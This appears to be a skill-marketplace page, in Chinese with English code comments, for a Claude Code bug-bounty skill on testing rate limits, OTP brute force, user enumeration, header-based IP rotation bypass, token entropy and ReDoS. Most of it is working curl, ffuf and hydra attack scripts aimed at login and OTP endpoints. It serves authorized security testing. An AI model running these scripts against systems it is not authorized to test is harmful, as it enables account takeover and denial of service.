mcpField
H
hunt-brute-force

hunt-brute-force

github.com/elementalsouls安全5.3k259 次安装今天更新
代码仓库

关于 hunt-brute-force

用于评估限流、防暴力破解和账户枚举的 Web 安全测试技能,强调先分类防护状态,再验证影响,避免误报。

主要功能

  1. 01区分四种限流状态
  2. 02测试登录与 OTP 防护
  3. 03检测用户名枚举
  4. 04评估 IP 轮换绕过
  5. 05验证令牌熵与 ReDoS

适用场景

  1. 01检查 OTP 与重置码防护
  2. 02测试登录限速与账户锁定
  3. 03验证账户信息是否可被枚举

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-brute-force

安装后在 Claude Code 中输入/hunt-brute-force确认已加载。

详细介绍

HUNT-BRUTE-FORCE — 速率限制 / 暴力破解 / 枚举

背景说明:此技能基于已发布的技术类别构建,并非来自经过整理的 HackerOne 报告集合。report_count 有意设为 0——不要引用无法核实的具体奖金金额或报告 ID。对于有充分公开记录的案例(例如 Laxman Muthiyah 于 2019–2021 年开展的 Instagram 密码重置 OTP 竞态 / 轮换研究),下文会将其列为技术参考,而非奖金声明。

皇冠明珠目标

OTP 暴力破解(6 位数字共有 1,000,000 种组合)且没有有效的速率限制 = 严重 ATO 绕过。

最高价值攻击链:

  • OTP / 2FA 暴力破解 → 绕过 MFA → ATO — /verify-otp 没有有效的速率限制,且可遍历完整的 000000–999999 密钥空间
  • 密码重置令牌暴力破解 — 令牌短小 / 可预测 / 永不过期,且没有速率限制 → ATO(Instagram 2019 年案例结合了 6 位数重置码、对每个请求来源均不设速率限制,以及 IP 轮换,使 10^6 种组合变得可行)
  • 用户名 / 电子邮件枚举 → 定向凭据填充 — 可通过响应文本、状态码或响应时间区分有效和无效信息,然后使用泄露数据集进行批量尝试
  • 优惠券 / 礼品卡 / 推荐码暴力破解 — 验证码没有速率限制 → 造成财务影响
  • ReDoS — 攻击者控制的输入触发灾难性回溯正则表达式 → CPU 耗尽 → DoS

自主测试优先级

在当前轮次预算内测试——优先关注信号,而非数量。

自动化测试无法暴力破解数百万种组合。请专注于两件事:(1) 使用最有可能的候选凭据进行喷洒攻击;(2) 检测是否存在速率限制。

策略:

  1. 找出登录端点和预期参数名称(用户名 / 电子邮件、密码)。
  2. 尝试符合目标环境的弱密码 / 默认凭据——应用技术栈的默认管理员凭据、测试环境的简单密码,以及应用其他位置可见的凭据(例如个人资料中公开的用户名、文档中的默认密码)。
  3. 连续失败 3-5 次后,检查是否出现速率限制信号(429 状态码、“尝试次数过多”提示、出现 CAPTCHA、账户锁定提示)。如果没有这些信号,即表示缺少速率限制,存在漏洞。
  4. 传统登录表单使用表单编码,REST API 登录端点使用 JSON。

成功时应检查:

  • 响应正文或 Set-Cookie 标头中是否包含会话令牌或 JWT
  • 是否重定向到已验证身份的控制面板
  • 响应正文是否与登录失败时的基准响应不同

用户名枚举(单独报告): 尝试一个已知有效的用户名和一个随机用户名。如果错误消息不同(“密码错误”与“未找到用户”),或响应时间不同 → 存在用户枚举漏洞,即使没有成功登录也成立。


关键:四种限速状态——不要将它们混为一谈

没有 429 的 200/401 并不意味着“没有限速”。只检查 429/锁定状态的限速技能会产生假阴性。在下结论之前,先对防护进行分类:发送约 50 个请求的突发流量,并观察完整响应(状态码、正文、标头、延迟和下游成功情况):

状态信号仍可暴力破解?
硬性账户锁定失败 N 次后账户被禁用;之后即使使用正确凭据也会失败否(但锁定本身可能构成拒绝服务漏洞)
软性 IP 限速仅按源 IP 触发 429/延迟增加是——可通过轮换标头/IP 绕过(阶段 4)
注入 CAPTCHA200,但正文在 N 次请求后切换为 CAPTCHA 挑战可能——检查验证端点是否在服务端强制执行,或 API 路径是否跳过了它
静默影子限速每个请求都返回 200/401,但提交内容被丢弃——真正正确的 OTP/密码不再被接受,或响应变成固定内容**这就是陷阱。**天真的循环看到“全是 200,没有 429”就报告“没有限速”——这是错误结论。

影子限速检测器——在已知位置注入已知有效的值,并确认它在负载下仍然有效:

# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456"   # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
  CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
  CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
    -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}")
  echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.

分步漏洞挖掘方法

阶段 1 — 登录限速测试(分类,而不只是统计 429)
# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
  read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
    -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
  echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
  sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
#   - status flips to 429 / 403  → soft throttle or lockout
#   - body grows / CAPTCHA token appears → CAPTCHA injection
#   - latency climbs while status stays 401 → shadow throttle
#   - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)
阶段 2 — OTP / 2FA 暴力破解
# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"

# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
  RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
  echo "$CODE: $RESP"
  [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.

# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
#   - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
#   - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
#   - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
#     Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
#     code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.
阶段 3 — 用户名 / 邮箱枚举(字符串、状态码和时序)
VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"

# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
  curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
    -X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
    -d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
     <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.

# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:";   for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.

# Reset + registration enumeration
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER"   | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/api/register"   -d "email=$VALID_USER"    | grep -i "exist\|taken\|already"
阶段 3b — 注册接口未限速(批量创建账户)

未限速的注册端点本身就是滥用类漏洞,不只是枚举预言机:对 */signup/*/register 发送突发请求(每个请求轮换邮箱和来源),并确认确实创建了 N 个账户,且没有 429/CAPTCHA/锁定 → 自动批量创建账户(垃圾信息、促销/推荐滥用、资源耗尽)。单独来看风险为低至中;若能串联到付费/受限资源,风险更高。已披露:reports/2915502。

阶段 4 — IP / 来源轮换绕过
# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
          "X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
  RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
  ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
  RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
  echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("1.2.3.4, 5.6.7.8"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.
阶段 5 — 令牌熵(测量,不要凭肉眼判断)
# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
  curl -s -X POST "https://$TARGET/forgot-password" -d "[email protected]"
  # Extract token from the email/link and append to tokens.txt
  sleep 2
done

# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
  python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"

# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt

# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}'   # constant/small delta = counter-based

# 4) DEFINITIVE tool: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
#    response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
#    < ~64 effective bits on a security token is a finding; the brute-window math follows.
阶段 6 — ReDoS 检测
# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
  INPUT=$(python3 -c "print('a'*$LEN + '!')")              # for (a+)+$  /  (a|a)*$ style regex
  T=$(curl -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
  echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.

自动化

# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
  -H "Content-Type: application/json" -H "Cookie: session=SESSION" \
  -d '{"otp": "FUZZ"}' \
  -w <(seq -f "%06g" 0 100) \
  -mc all -ac \
  -rate 50            # cap throughput so YOU can read the rate-limit response, not DoS the target

# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
#   seq -f "%06g" 0 999999 > /tmp/otp_full.txt   (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.

# ---- hydra: login spray ----
hydra -l [email protected] -P ~/wordlists/top-1000.txt "$TARGET" \
  http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4

# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical

漏洞链表

发现链接到影响
OTP 无有效限速(可遍历完整的 10^6 种可能)绕过 MFA → ATO严重
暴力破解密码重置码 + IP 轮换重置 → ATO(Instagram-2019 类)严重
登录无速率限制 + 枚举使用泄露凭据库进行凭据填充攻击高
通过 X-Forwarded-For 等绕过 IP 限制绕过应用中所有按 IP 限制的机制高
重置令牌可预测 / 熵低在有效期内猜中令牌 → ATO高
公共输入字段存在 ReDoS单个请求即可耗尽 CPU → DoS中至高
攻击者可触发硬性锁定定向账户 DoS(锁定受害者账户)中

验证 — 严格排除误报

撰写报告前,必须满足以下各项:

  • OTP/登录“无速率限制”:必须针对全部四种状态进行确认,不能仅凭未出现 429。 影子限流种子测试已通过(在突发负载下,已知有效值仍可通过认证)。 监测了延迟和响应体大小,而不只是状态码。
  • 全密钥空间声明:严重程度应由可达性计算(吞吐量 × 代码有效期与 10^6 的比较)来证明,而不是依据 101 个代码的探测结果。报告中应列明具体数字。
  • 枚举:差异必须能在 ≥20 个样本中重现,且属于服务器状态差异(用户有效与无效),而不是服务器策略造成的表象(例如,通用的“如果存在此邮箱,我们已发送……”消息不属于枚举)。对于时序,应比较多个样本的中位数,绝不能只比较单次请求。
  • IP 轮换绕过:关闭轮换并证明 429 会重新出现。差异本身才是证据;仅有一次快速测试并不足够。
  • 令牌熵:必须有实际测量结果支持(Burp Sequencer 有效位数、ent,或已证明的计数器/时间戳结构),不能只说“看起来很短”。
  • ReDoS:延迟随输入加倍呈超线性增长,并与无害对照进行比较;线性增长 ≠ ReDoS。
  • 范围/影响:是否造成了实际结果(已认证会话、泄露账户列表、拒绝服务)?如果速率限制存在缺口,但无法造成实际影响,则应定为信息级,而不是中危。

严重程度:

  • OTP/MFA/重置码可被有效暴力破解 → 已证明可劫持账户(ATO):严重
  • 登录无速率限制 + 凭证填充/IP 绕过可行:高危
  • 安全令牌可预测(实测熵低):高危
  • 单独的用户名/邮箱枚举:低危–中危
  • ReDoS 可复现并导致服务器明显延迟:中危–高危
  • 攻击者可触发的硬锁定(账户拒绝服务):中危

评论

支持 Markdown